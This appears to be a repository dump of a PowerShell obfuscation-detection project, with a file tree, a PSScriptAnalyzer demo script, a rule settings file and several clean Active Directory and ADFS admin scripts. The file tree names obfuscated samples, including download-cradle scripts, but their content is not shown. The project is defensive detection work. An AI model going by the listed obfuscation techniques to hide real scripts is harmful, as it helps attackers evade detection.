├── Demo 1 (PSScriptAnalyzer).ps1 ├── Demo 2 (Invocation Syntax - Part A - Generation).ps1 ├── Demo 2 (Invocation Syntax - Part B - Detection).ps1 ├── LICENSE ├── PSScriptAnalyzer ├── Measure-SAObfuscation.psm1 ├── PSScriptAnalyzerSettings.psd1 ├── PSScriptAnalyzer_Obfuscation_Detection_Rules.psm1 └── Samples │ ├── Clean │ ├── ACE.psm1.ps1 │ ├── AD Exch Users to Groups.ps1 │ ├── AD FSMO Roles.ps1 │ ├── AD-GroupMembers_v1.ps1 │ ├── AD-GroupMembers_v2.ps1 │ ├── ADFS MSOL update.ps1 │ ├── ADFS local update.ps1 │ ├── ADFS troubleshooting.ps1 │ ├── ADFS troubleshooting_1.ps1 │ ├── AD_bulk_new_OU.ps1 │ ├── AD_bulk_new_OU_1.ps1 │ ├── AJAX Scrape.ps1 │ ├── AS function.ps1 │ ├── ASP Security Flaw Detect.ps1 │ ├── Access Jira (REST).ps1 │ ├── Activation Context API.ps1 │ ├── ActiveDirectoryFunctions.ps1 │ ├── ActiveDirectoryFunctions_1.ps1 │ ├── ActiveDirectoryFunctions_2.ps1 │ ├── Add -__ Get-Help -Full.ps1 │ ├── Add -__ Get-Help -Full_1.ps1 │ ├── Add CounterPaths 2 Mongo.ps1 │ ├── Add EventLogs to Mongo.ps1 │ ├── Add SSL Cert to IIS.ps1 │ ├── Add Voice to Powershell.ps1 │ ├── Add Voice to Powershell_1.ps1 │ ├── Add Voice to Powershell_2.ps1 │ ├── Add _ Get-Help -Full.ps1 │ ├── Add _ Get-Help -Full_1.ps1 │ ├── Add new smtp_set prmary.ps1 │ ├── Add new smtp_set prmary_1.ps1 │ ├── Add new smtp_set prmary_2.ps1 │ ├── Add new smtp_set prmary_3.ps1 │ ├── Add new smtp_set prmary_4.ps1 │ ├── Add-ADPhoto.ps1 │ ├── Add-ExcelAddins.ps1 │ ├── Add-ExtendedFileProperti.ps1 │ ├── Add-FormatTableIndexPara.ps1 │ ├── Add-Identity.ps1 │ ├── Add-Namespace v1.1.ps1 │ ├── Add-Namespace.ps1 │ ├── Add-Namespace_1.ps1 │ ├── Add-Namespace_2.ps1 │ ├── Add-NetworkPrinter.ps1 │ ├── Add-ObjectCollector.ps1 │ ├── Add-PrinterDriver.ps1 │ ├── Add-RelativePathCapture..ps1 │ ├── Add-SVNFile.ps1 │ ├── Add-SharePointLibraryFil.ps1 │ ├── Add-Slide.ps1 │ ├── Add-SqlClientAlias.ps1 │ ├── Add-SqlTable.ps1 │ ├── Add-SqlTable_1.ps1 │ ├── Add-SqlTable_2.ps1 │ ├── Add-SqlTable_3.ps1 │ ├── Add-SqlTable_4.ps1 │ ├── Add-SqlTable_5.ps1 │ ├── Add-SqlTable_6.ps1 │ ├── Add-TnsAdminEntry.ps1 │ ├── Add-UniqueEndings.ps1 │ ├── AddTo-HostsFile.ps1 │ ├── AddTo-HostsFile_1.ps1 │ ├── AddTo-HostsFile_2.ps1 │ ├── Added_Deleted AD Objects.ps1 │ ├── Added_Deleted AD Objects_1.ps1 │ ├── Added_Deleted AD Objects_2.ps1 │ ├── Advanced search.ps1 │ ├── Aero Glass PowerShell.ps1 │ ├── Alias latest msbuild.ps1 │ ├── All Exchange 2003 Server.ps1 │ ├── AlmightyShell Compiler.ps1 │ ├── Am I a purist_.ps1 │ ├── Amazon AWS user data.ps1 │ ├── AnalizeScript.ps1 │ ├── AnalyzeScript.ps1 │ ├── Appscanner v0.10.ps1 │ ├── Assert.ps1 │ ├── Async SQL Backup .ps1 │ ├── Async Sockets.ps1 │ ├── AsyncCallbacks in .NET.ps1 │ ├── Atlassian Jira Interface.ps1 │ ├── Audit File Share Perms.ps1 │ ├── Audit NTFS on Shares.ps1 │ ├── Audit NTFS on Shares_1.ps1 │ ├── Audit NTFS on Shares_2.ps1 │ ├── Audit iPhone Users.ps1 │ ├── Audit iPhone_Palm Users.ps1 │ ├── Audit iPhone_Palm Users_1.ps1 │ ├── Auto ISE Preferences.ps1 │ ├── AutoArchive.ps1 │ ├── Autoload (beta 2).ps1 │ ├── Autoload (beta 3).ps1 │ ├── Autoload (beta 4).ps1 │ ├── Autoload (beta 5).ps1 │ ├── Autoload (beta 6).ps1 │ ├── Autoload (beta 8).ps1 │ ├── Autoload (beta).ps1 │ ├── Autoload Module 1.2.ps1 │ ├── Autoload Module _1.2.ps1 │ ├── Autoload Module.ps1 │ ├── Autoload Module_1.ps1 │ ├── Ayth.ps1 │ ├── Ayth_1.ps1 │ ├── BER Encoding Module.ps1 │ ├── Backup Cisco UCS FI.ps1 │ ├── Backup Hyper-V VMs.ps1 │ ├── Backup all ESXi_1.ps1 │ ├── Backup all ESXi_2.ps1 │ ├── Backup exchange 2007.ps1 │ ├── Backup full.ps1 │ ├── Backup-DatabaseObject.ps1 │ ├── Backup-EventLogs.ps1 │ ├── Backup-EventLogs_1.ps1 │ ├── Balance-Datastores.ps1 │ ├── Balance-Datastores_1.ps1 │ ├── Bash Aliases.ps1 │ ├── Basic DNSBL Check for IP.ps1 │ ├── Begin Block.ps1 │ ├── Beginner event 10 .ps1 │ ├── Beginner event 10 _1.ps1 │ ├── Beginner event 10 _2.ps1 │ ├── Binary Clock.ps1 │ ├── Binary Clock_1.ps1 │ ├── BinaryClock V2.0.ps1 │ ├── BinaryClock V_1.0.ps1 │ ├── Blow up ESXi.ps1 │ ├── Boots & Background Jobs.ps1 │ ├── Boots & Background Jobs_1.ps1 │ ├── Boots DataGrid Binding.ps1 │ ├── Boots DataGrid Binding_1.ps1 │ ├── Boots UI Uhtpdate Sample.ps1 │ ├── Boots UI Update Sample.ps1 │ ├── Bootstrap psake w_ PsGet.ps1 │ ├── Bootstrap psake w_ PsGet_1.ps1 │ ├── Brushes.ps1 │ ├── Brushes_1.ps1 │ ├── BufferBox 3.0.ps1 │ ├── BufferBox 3.1.ps1 │ ├── BufferBox 3.5.ps1 │ ├── BufferBox 3.6.ps1 │ ├── BufferBox _1.6.ps1 │ ├── Bulk Change AD Passwords.ps1 │ ├── Bulk Storage vMotion .ps1 │ ├── CD.psm1.ps1 │ ├── CIM SMI-S Query Library.ps1 │ ├── CIM SMI-S Query Library_1.ps1 │ ├── CLR4 module.ps1 │ ├── COE_IMAGE.ps1 │ ├── CSV Validator Framework.ps1 │ ├── CSV Validator Framework_1.ps1 │ ├── CSV-DVS.ps1 │ ├── Calculate HA Capaicty.ps1 │ ├── Call WSPBuilder.ps1 │ ├── Call WSPBuilder_1.ps1 │ ├── CapsLock Notifier.ps1 │ ├── CenturionPortal.ps1 │ ├── CertMgmt pack.ps1 │ ├── CertMgmt pack_1.ps1 │ ├── CertMgmt pack_2.ps1 │ ├── CertMgmt pack_3.ps1 │ ├── CertMgmt pack_4.ps1 │ ├── CertMgmt pack_5.ps1 │ ├── Change Server 2012 type.ps1 │ ├── Change-ServicePassword.ps1 │ ├── Change-ServicePassword_1.ps1 │ ├── Chassis Type.ps1 │ ├── Chassis Type_1.ps1 │ ├── Chassis Type_2.ps1 │ ├── Check Chromium Build.ps1 │ ├── Check Exchange2010 queue.ps1 │ ├── Check HBA status .ps1 │ ├── Check Modules path..ps1 │ ├── Check Modules path_1..ps1 │ ├── Check Modules path_2..ps1 │ ├── Check PowerShell version.ps1 │ ├── Check Server Health.ps1 │ ├── Check Service on Servers.ps1 │ ├── Check Service.ps1 │ ├── Check Service_1.ps1 │ ├── Check e-mail access type.ps1 │ ├── Check latest BIOS Rev.ps1 │ ├── Check latest BIOS Rev_1.ps1 │ ├── Check latest BIOS Rev_2.ps1 │ ├── Check-ClusterPatches.ps1 │ ├── Cisco-Inventory.ps1 │ ├── Citrix License Info.ps1 │ ├── Citrix-Functions.ps1 │ ├── Claimtypes, ADFS SP2010.ps1 │ ├── Clear-XCAttributes.ps1 │ ├── Clear-XCAttributes_1.ps1 │ ├── Cluster Windows.ps1 │ ├── Coloring text in RichTex.ps1 │ ├── Colorize Subversion SVN.ps1 │ ├── ComObjects.Types.ps1 │ ├── Combine-CSV Function.ps1 │ ├── CommandTranscript.ps1 │ ├── CommandTranscript_1.ps1 │ ├── Compare 2 foldertrees.ps1 │ ├── Compare 2 foldertrees_1.ps1 │ ├── Compare Reg Keys.ps1 │ ├── Compare SQL Tables II.ps1 │ ├── Compare Table & DataRow.ps1 │ ├── Compare Table & DataRow_1.ps1 │ ├── Compare Table & DataRow_2.ps1 │ ├── Compare-AD.ps1 │ ├── Compare-ADUserGroups.ps1 │ ├── Compare-Agents.ps1 │ ├── Compare-Agents_1.ps1 │ ├── Compare-DataSources.ps1 │ ├── Compare-DataSources_1.ps1 │ ├── Compare-DatabaseColumns.ps1 │ ├── Compare-DatabaseSchema.ps1 │ ├── Compare-DellUpdates.ps1 │ ├── Compare-DellUpdates_1.ps1 │ ├── Compare-Drive.ps1 │ ├── Compare-Drive_1.ps1 │ ├── Compare-InstalledHotfix.ps1 │ ├── Compare-PathAcl.ps1 │ ├── Compare-Property.ps1 │ ├── Compare-SQLResultSet.ps1 │ ├── Compare-TwitterNames.ps1 │ ├── Compare-TwitterNames_1.ps1 │ ├── Compare-TwitterNames_2.ps1 │ ├── Compile-Help.ps1 │ ├── Compile-Help_1.ps1 │ ├── Compile-Help_2.ps1 │ ├── Compiled-Help 1.1.ps1 │ ├── Compress-Bitmap.ps1 │ ├── Computer Inventory.ps1 │ ├── Computer Inventory_1.ps1 │ ├── Computer Inventory_2.ps1 │ ├── Connect-LabManager.ps1 │ ├── Connect-VMHost.ps1 │ ├── Connect-VMHost_1.ps1 │ ├── Connect-WebService.ps1 │ ├── Console Function Run.ps1 │ ├── Console Function Run_1.ps1 │ ├── Const.ps1 │ ├── Convert Raw SID to SID.ps1 │ ├── Convert Raw SID to SID_1.ps1 │ ├── Convert Raw SID to SID_2.ps1 │ ├── Convert-BounceToX500.ps1 │ ├── Convert-BounceToX_1.ps1 │ ├── Convert-BounceToX_10.ps1 │ ├── Convert-BounceToX_11.ps1 │ ├── Convert-BounceToX_12.ps1 │ ├── Convert-BounceToX_2.ps1 │ ├── Convert-BounceToX_3.ps1 │ ├── Convert-BounceToX_4.ps1 │ ├── Convert-BounceToX_5.ps1 │ ├── Convert-BounceToX_6.ps1 │ ├── Convert-BounceToX_7.ps1 │ ├── Convert-BounceToX_8.ps1 │ ├── Convert-BounceToX_9.ps1 │ ├── Convert-CBZ2CBR.ps1 │ ├── Convert-FspToUsername.ps1 │ ├── Convert-MacAddress.ps1 │ ├── Convert-PowerPack2Ps1.ps1 │ ├── Convert-PowerPack2Ps_1.ps1 │ ├── Convert-PowerPack2Ps_2.ps1 │ ├── Convert-SchemaGUID.ps1 │ ├── Convert-TextObject.ps1 │ ├── ConvertFrom-FahrenheitWi.ps1 │ ├── ConvertFrom-FahrenheitWi_1.ps1 │ ├── ConvertFrom-FahrenheitWi_2.ps1 │ ├── ConvertFrom-Property 3.7.ps1 │ ├── ConvertFrom-Property.ps1 │ ├── ConvertFrom-Property_1.ps1 │ ├── ConvertFrom-Property_2.ps1 │ ├── ConvertFrom-Property_3.ps1 │ ├── ConvertFrom-SDDL.ps1 │ ├── ConvertFrom-SDDL_1.ps1 │ ├── ConvertHelpTo-Html.ps1 │ ├── ConvertTo-CliXml.ps1 │ ├── ConvertTo-CliXml_1.ps1 │ ├── ConvertTo-CliXml_2.ps1 │ ├── ConvertTo-CliXml_3.ps1 │ ├── ConvertTo-DN.ps1 │ ├── ConvertTo-DN_1.ps1 │ ├── ConvertTo-Function.ps1 │ ├── ConvertTo-GoogleChartNum.ps1 │ ├── ConvertTo-Hashtable.ps1 │ ├── ConvertTo-Hex.ps1 │ ├── ConvertTo-Hex_1.ps1 │ ├── ConvertTo-Hex_10.ps1 │ ├── ConvertTo-Hex_11.ps1 │ ├── ConvertTo-Hex_2.ps1 │ ├── ConvertTo-Hex_3.ps1 │ ├── ConvertTo-Hex_4.ps1 │ ├── ConvertTo-Hex_5.ps1 │ ├── ConvertTo-Hex_6.ps1 │ ├── ConvertTo-Hex_7.ps1 │ ├── ConvertTo-Hex_8.ps1 │ ├── ConvertTo-Hex_9.ps1 │ ├── ConvertTo-Icon.ps1 │ ├── ConvertTo-JaggedObjects.ps1 │ ├── ConvertTo-MultiArray.ps1 │ ├── ConvertTo-MultiArray_1.ps1 │ ├── ConvertTo-MultiArray_2.ps1 │ ├── ConvertTo-PseudoType.ps1 │ ├── ConvertTo-PseudoType_1.ps1 │ ├── ConvertTo-PseudoType_2.ps1 │ ├── ConvertTo-RelativeTime.ps1 │ ├── ConvertToStringData.ps1 │ ├── Copy-File (Safely).ps1 │ ├── Copy-FilePlus.ps1 │ ├── Copy-Function.ps1 │ ├── Copy-GroupMembership.ps1 │ ├── Copy-History.ps1 │ ├── Copy-Item extended.ps1 │ ├── Copy-MAGig.ps1 │ ├── Copy-MAGig_1.ps1 │ ├── Create AD Test Lab.ps1 │ ├── Create RTF File .ps1 │ ├── Create SP2010 Farm V03.ps1 │ ├── Create SP2010 Farm V_1.ps1 │ ├── Create SP2010 Farm V_2.ps1 │ ├── Create SP2010 Farm V_3.ps1 │ ├── Create SP2010 Farm V_4.ps1 │ ├── Create SP2010 Farm V_5.ps1 │ ├── Create VApps in vSphere.ps1 │ ├── Create a VIAccount.ps1 │ ├── Create datastore by LUN .ps1 │ ├── Create random strings.ps1 │ ├── Create random strings_1.ps1 │ ├── Create-Certificate.ps1 │ ├── Create-Mdb.ps1 │ ├── Create-Printers.ps1 │ ├── Create-Printers_1.ps1 │ ├── Create-Printers_2.ps1 │ ├── Create-Printers_3.ps1 │ ├── Create-SCCMCollection.ps1 │ ├── Create-SCCMCollection_1.ps1 │ ├── Create-Sequence.ps1 │ ├── CreateSite_tmp.ps1 │ ├── CreateVDS.ps1 │ ├── CreateVDS_1.ps1 │ ├── CreateVDS_2.ps1 │ ├── Custom Accelerators CTP3.ps1 │ ├── Custom Accelerators.ps1 │ ├── Custom Accelerators_1.ps1 │ ├── Custom Object Factory Te.ps1 │ ├── add-OLPublicFolder.ps1 │ ├── adv2.ps1 │ ├── after.ps1 │ ├── app memory deltas.ps1 │ ├── archive.ps1 │ ├── callias.ps1 │ ├── cd command with history.ps1 │ ├── check-disabledstatus.ps1 │ ├── check-nsca.ps1 │ ├── chkhash.ps1 │ ├── chkhash_1.ps1 │ ├── chkhash_2.ps1 │ ├── chkhash_3.ps1 │ ├── chkhash_4.ps1 │ ├── chkhash_5.ps1 │ ├── connect-domain.ps1 │ ├── convert CSV_s to Excel.ps1 │ ├── convert-vim2css.ps1 │ ├── coolprompt.ps1 │ ├── copy-data.ps1 │ ├── count-object.ps1 │ ├── count-object_1.ps1 │ └── createSiteFromTemplate.ps1 │ ├── Obfuscated │ ├── ISESteroids │ │ ├── 2010BulkMailboxExport.ps1 │ │ ├── AddAllowedInlineDownloadedMimeTypes.ps1 │ │ ├── AddImplementer2MA-V0.1.ps1 │ │ ├── DisplayDeletedADObjects.psm1 │ │ ├── Export_SP_User_Profile_Information.PS1 │ │ ├── Get-All-SCOM-MPs.ps1 │ │ ├── Get-ComputerService_v1.0.ps1 │ │ ├── Get-MeetingRoomDetails.ps1 │ │ ├── Get-StringHash.ps1 │ │ ├── GetMailboxUsageReport.ps1 │ │ ├── Install.NetFrameWork3.5.ps1 │ │ ├── Invoke-TSMedusa.ps1 │ │ ├── ListServerDrivesFreespace_Email.ps1 │ │ ├── MBXBackup.ps1 │ │ ├── New-PrintJob.ps1 │ │ ├── O365-Fed-MetaData-Update-Task-Installation.ps1 │ │ ├── Open-ISEFunction.ps1 │ │ ├── Ping-TCP.ps1 │ │ ├── Remove-SPWebApplicationBlockedFileExtension.ps1 │ │ ├── Response_time_Multiple_Servers.ps1 │ │ ├── SCOMOpenAlerts.ps1 │ │ ├── Set-ActiveSyncEnabled.ps1 │ │ ├── Set-StaticPorts.ps1 │ │ ├── SetOSCCsUserPhoto.ps1 │ │ ├── SsasDiscoverCurrentProcesses.ps1 │ │ ├── Start-PoshChatServer.ps1 │ │ ├── Zip-File.ps1 │ │ ├── add-ExifFilter.ps1 │ │ ├── iloInformation.ps1 │ │ └── remotecmd.ps1 │ ├── InvokeCradleCrafter │ │ ├── invoke-cradlecrafter_random_1.ps1 │ │ ├── invoke-cradlecrafter_random_131.ps1 │ │ ├── invoke-cradlecrafter_random_132.ps1 │ │ ├── invoke-cradlecrafter_random_136.ps1 │ │ ├── invoke-cradlecrafter_random_137.ps1 │ │ ├── invoke-cradlecrafter_random_161.ps1 │ │ ├── invoke-cradlecrafter_random_2.ps1 │ │ ├── invoke-cradlecrafter_random_24.ps1 │ │ ├── invoke-cradlecrafter_random_26.ps1 │ │ ├── invoke-cradlecrafter_random_28.ps1 │ │ ├── invoke-cradlecrafter_random_3.ps1 │ │ ├── invoke-cradlecrafter_random_4.ps1 │ │ ├── invoke-cradlecrafter_random_64.ps1 │ │ ├── invoke-cradlecrafter_random_65.ps1 │ │ ├── invoke-cradlecrafter_random_66.ps1 │ │ ├── invoke-cradlecrafter_random_69.ps1 │ │ ├── invoke-cradlecrafter_random_70.ps1 │ │ ├── invoke-cradlecrafter_random_73.ps1 │ │ ├── invoke-cradlecrafter_random_74.ps1 │ │ ├── invoke-cradlecrafter_random_76.ps1 │ │ ├── invoke-cradlecrafter_random_78.ps1 │ │ ├── invoke-cradlecrafter_random_81.ps1 │ │ ├── invoke-cradlecrafter_random_82.ps1 │ │ ├── invoke-cradlecrafter_random_83.ps1 │ │ ├── invoke-cradlecrafter_random_84.ps1 │ │ ├── invoke-cradlecrafter_random_87.ps1 │ │ ├── invoke-cradlecrafter_random_89.ps1 │ │ ├── invoke-cradlecrafter_random_96.ps1 │ │ ├── invoke-cradlecrafter_random_98.ps1 │ │ └── invoke-cradlecrafter_random_99.ps1 │ └── InvokeObfuscation │ │ ├── 3 - Get-Services - Jobs Version 1.0.ps1 │ │ ├── AD and Mailbox and Email the info to an email from CSV.ps1 │ │ ├── Ad_Group_Creation_in_Domain.ps1 │ │ ├── AddImplementer2MA-V0.1.ps1 │ │ ├── AddScopesAndLeases.ps1 │ │ ├── BizTalkVersionEdition.ps1 │ │ ├── DAGReplication.ps1 │ │ ├── Desktop_Management_tool.ps1 │ │ ├── Get-AllWarningsAndErrors.ps1 │ │ ├── Get-LastLogon.ps1 │ │ ├── Get-LinkLayerOUI.ps1 │ │ ├── Get-SPCollects.ps1 │ │ ├── Get-UptimeAsyn.ps1 │ │ ├── Kerberos.psm1 │ │ ├── NTFSSecurity.Init (2).ps1 │ │ ├── New-PSObjectFromMatches.ps1 │ │ ├── O365_Get-MailboxSizeInGB2.ps1 │ │ ├── PSFTP.psm1 │ │ ├── ParseLog.ps1 │ │ ├── PrepopulatePasswordCacheForRODC.ps1 │ │ ├── ProjectServer-MSExchange-ADPermission-AllActiveUsers.ps1 │ │ ├── RICOH-MFP-AB.psm1 │ │ ├── SPLoggingDemo.ps1 │ │ ├── Set-InheritablePermissionsOnProfileStore.ps1 │ │ ├── Start-Stopped_service.ps1 │ │ ├── Test-IsAdmin.ps1 │ │ ├── TestFOPEAddress.ps1 │ │ ├── TextFunctions.ps1 │ │ ├── monitorag.ps1 │ │ └── privilegedUsersV2.ps1 │ └── README.txt └── README.md /Demo 1 (PSScriptAnalyzer).ps1: -------------------------------------------------------------------------------- 1 | # This file is part of DevSec Defense. 2 | # 3 | # Copyright 2018 Daniel Bohannon <@danielhbohannon> 4 | # while at Mandiant 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | 18 | 19 | 20 | # PSScriptAnalyzer wrapper module Measure-SAObfuscation. 21 | 22 | # (Ex. 1 of 4) Invoke-Obfuscation 23 | $res = Measure-SAObfuscation .\Samples\Obfuscated\InvokeObfuscation\ 24 | # Group counts for ScriptAnalyzer rule hits. 25 | $res.ScriptAnalyzerResult | Group-Object RuleName | Sort-Object Count -Descending | Select-Object Count,Name 26 | 27 | # (Ex. 2 of 4) Invoke-CradleCrafter 28 | $res = Measure-SAObfuscation .\Samples\Obfuscated\InvokeCradleCrafter\ 29 | # Group counts for ScriptAnalyzer rule hits. 30 | $res.ScriptAnalyzerResult | Group-Object RuleName | Sort-Object Count -Descending | Select-Object Count,Name 31 | 32 | # (Ex. 3 of 4) ISESteroids 33 | $res = Measure-SAObfuscation .\Samples\Obfuscated\ISESteroids\ 34 | # Group counts for ScriptAnalyzer rule hits. 35 | $res.ScriptAnalyzerResult | Group-Object RuleName | Sort-Object Count -Descending | Select-Object Count,Name 36 | 37 | # (Ex. 4 of 4) Non-Obfuscated / Clean. 38 | $res = Measure-SAObfuscation .\Samples\Clean\ -------------------------------------------------------------------------------- /PSScriptAnalyzer/PSScriptAnalyzerSettings.psd1: -------------------------------------------------------------------------------- 1 | # This file is part of DevSec Defense. 2 | # 3 | # Copyright 2018 Daniel Bohannon <@danielhbohannon> 4 | # while at Mandiant 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # http://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | 18 | 19 | 20 | # Note: This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. 21 | 22 | # PSScriptAnalyzerSettings.psd1 23 | 24 | @{ 25 | IncludeRules = @('Measure-TickUsageInCommand', 26 | 'Measure-TickUsageInArgument', 27 | 'Measure-TickUsageInMember', 28 | 'Measure-NonAlphanumericUsageInMember', 29 | 'Measure-NonAlphanumericUsageInVariable', 30 | 'Measure-LongMemberValue') 31 | } -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/AD FSMO Roles.ps1: -------------------------------------------------------------------------------- 1 | function Get-FSMORole { 2 | <# 3 | .SYNOPSIS 4 | Retrieves the FSMO role holders from one or more Active Directory domains and forests. 5 | .DESCRIPTION 6 | Get-FSMORole uses the Get-ADDomain and Get-ADForest Active Directory cmdlets to determine 7 | which domain controller currently holds each of the Active Directory FSMO roles. 8 | .PARAMETER DomainName 9 | One or more Active Directory domain names. 10 | .EXAMPLE 11 | Get-Content domainnames.txt | Get-FSMORole 12 | .EXAMPLE 13 | Get-FSMORole -DomainName domain1, domain2 14 | #> 15 | [CmdletBinding()] 16 | param( 17 | [Parameter(ValueFromPipeline=$True)] 18 | [string[]]$DomainName = $env:USERDOMAIN 19 | ) 20 | BEGIN { 21 | Import-Module ActiveDirectory -Cmdlet Get-ADDomain, Get-ADForest -ErrorAction SilentlyContinue 22 | } 23 | PROCESS { 24 | foreach ($domain in $DomainName) { 25 | Write-Verbose "Querying $domain" 26 | Try { 27 | $problem = $false 28 | $addomain = Get-ADDomain -Identity $domain -ErrorAction Stop 29 | } Catch { $problem = $true 30 | Write-Warning $_.Exception.Message 31 | } 32 | if (-not $problem) { 33 | $adforest = Get-ADForest -Identity (($addomain).forest) 34 | 35 | New-Object PSObject -Property @{ 36 | InfrastructureMaster = $addomain.InfrastructureMaster 37 | PDCEmulator = $addomain.PDCEmulator 38 | RIDMaster = $addomain.RIDMaster 39 | DomainNamingMaster = $adforest.DomainNamingMaster 40 | SchemaMaster = $adforest.SchemaMaster 41 | } 42 | } 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/AD-GroupMembers_v1.ps1: -------------------------------------------------------------------------------- 1 | function AD-GroupMembers() { 2 | param ( 3 | $Domen, 4 | $Group, 5 | $User 6 | ) 7 | if ($User){$Connection = Get-Credential -Credential $user} 8 | if($Connection){$Member = Get-QADGroupMember -Service $Domen -Identity $Group -Credential $Connection -SizeLimit 0 -ErrorAction SilentlyContinue | Sort Name | Format-Table Name,NTAccountName,Sid,AccountIsDisabled -AutoSize} 9 | else{$Member = Get-QADGroupMember -Service $Domen -Identity $Group -SizeLimit 0 -ErrorAction SilentlyContinue | Sort Name | Format-Table Name,NTAccountName,Sid,AccountIsDisabled -AutoSize} 10 | $Member 11 | } 12 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/AD-GroupMembers_v2.ps1: -------------------------------------------------------------------------------- 1 | function AD-GroupMembers() { 2 | param ( 3 | $Domen, 4 | $Group, 5 | $User 6 | ) 7 | if ($User){$Connection = Get-Credential -Credential $user} 8 | if($Connection){$Member = Get-QADGroupMember -Service $Domen -Identity $Group -Credential $Connection -SizeLimit 0 -ErrorAction SilentlyContinue | Sort Name | Format-List Name,NTAccountName,Sid,AccountIsDisabled -AutoSize} 9 | else{$Member = Get-QADGroupMember -Service $Domen -Identity $Group -SizeLimit 0 -ErrorAction SilentlyContinue | Sort Name | Format-List Name,NTAccountName,Sid,AccountIsDisabled -AutoSize} 10 | $Member 11 | } 12 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ADFS MSOL update.ps1: -------------------------------------------------------------------------------- 1 | Add-PSSnapin Microsoft.Adfs.Powershell 2 | Import-Module MSOnline 3 | 4 | $cred = Get-Credential 5 | $AdfsServer = Read-Host "Please type the name of the ADFS server" 6 | 7 | Write-Host "Connecting to MSOnline..." 8 | Connect-MsolService -credential:$cred 9 | Write-Host "Setting the local ADFS server..." 10 | Set-MSOLADFSContext -Computer:$AdfsServer 11 | Write-Host "Updating the ADFS server configuration..." 12 | Update-MSOLFederatedDomain -DomainName:Domain.com 13 | 14 | Write-host "Below is a list of the Federated domains..." -foreground "Green" 15 | Get-MsolDomain 16 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ADFS local update.ps1: -------------------------------------------------------------------------------- 1 | Add-PSSnapin Microsoft.Adfs.Powershell 2 | Import-Module MSOnline 3 | 4 | $cred = Get-Credential 5 | $AdfsServer = Read-Host "Please type the name of the ADFS server" 6 | 7 | Write-Host "Connecting to MSOnline..." 8 | Connect-MsolService -credential:$cred 9 | Write-Host "Setting the local ADFS server..." 10 | Set-MSOLADFSContext -Computer:$AdfsServer 11 | Write-Host "Updating the ADFS server configuration..." 12 | Update-ADFSCertificate -CertificateType:Token-signing -Urgent:$True 13 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ADFS troubleshooting.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | This Script will check the MSOnline Office 365 setup. It will prompt the user running it to specify the 3 | credentials. It will then check compare the onsite information with the online information and inform the 4 | user if it is out of sync. 5 | #> 6 | 7 | $PSAdmin = Read-host "This script needs to be run as Administrator, have you done this? Y or N..." 8 | If($PSAdmin -eq 'Y' -or 'y'){ 9 | Add-PSSnapin Microsoft.Adfs.Powershell 10 | Import-Module MSOnline 11 | 12 | $cred = Get-Credential 13 | Connect-MsolService -credential:$cred 14 | 15 | Write-host "Below are the URLs Office 365 uses to connect, these URLs MUST be the same (if they are not then see article http://support.microsoft.com/kb/2647020)..." -foreground "Green" 16 | Get-MsolFederationProperty -domainname:'DomainName.com' | Select-Object 'FederationMetadataUrl' 17 | 18 | Write-Host "Below is the certificate information for ADFS, the top section is the onsite information showing the current certificate with serial number. The bottom section shows the Office 365 online certificate details. The serial number MUST be the same. If they are not see article http://support.microsoft.com/kb/2647020..." -foreground 'Green' 19 | Get-MsolFederationProperty -domainname:'DomainName.com' | Select-Object 'TokenSigningCertificate' | fl | Out-Default 20 | 21 | } Else{ 22 | Write-host "Please close Powershell and re-run it as adminstrator" -foreground "Red" 23 | Break} 24 | 25 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ADFS troubleshooting_1.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | This Script will check the MSOnline Office 365 setup. It will prompt the user running it to specify the 3 | credentials. It will then check compare the onsite information with the online information and inform the 4 | user if it is out of sync. 5 | #> 6 | 7 | $PSAdmin = Read-host "This script needs to be run as Administrator, have you done this? Y or N..." 8 | If($PSAdmin -eq 'Y' -or 'y'){ 9 | Add-PSSnapin Microsoft.Adfs.Powershell 10 | Import-Module MSOnline 11 | 12 | $cred = Get-Credential 13 | Connect-MsolService -credential:$cred 14 | 15 | Write-host "Below are the URLs Office 365 uses to connect, these URLs MUST be the same (if they are not then see article http://support.microsoft.com/kb/2647020)..." -foreground "Green" 16 | Get-MsolFederationProperty -domainname:'DomainName.com' | Select-Object 'FederationMetadataUrl' 17 | 18 | Write-Host "Below is the certificate information for ADFS, the top section is the onsite information showing the current certificate with serial number. The bottom section shows the Office 365 online certificate details. The serial number MUST be the same. If they are not see article http://support.microsoft.com/kb/2647020..." -foreground 'Green' 19 | Get-MsolFederationProperty -domainname:'DomainName.com' | Select-Object 'TokenSigningCertificate' | fl | Out-Default 20 | 21 | } Else{ 22 | Write-host "Please close Powershell and re-run it as adminstrator" -foreground "Red" 23 | Break} 24 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/AD_bulk_new_OU.ps1: -------------------------------------------------------------------------------- 1 | param( 2 | $searchBase = "OU=Organisation,DC=uza,DC=local", 3 | $NewOUs = @(Import-csv -Path "d:\\projects\\AD\\departments.csv" -Delimiter ";"), 4 | $SubOUs = @("Computers","Users"), 5 | [switch]$ProtectOU 6 | ) 7 | $Protect = $false 8 | If ($ProtectOU){$Protect = $true} 9 | 10 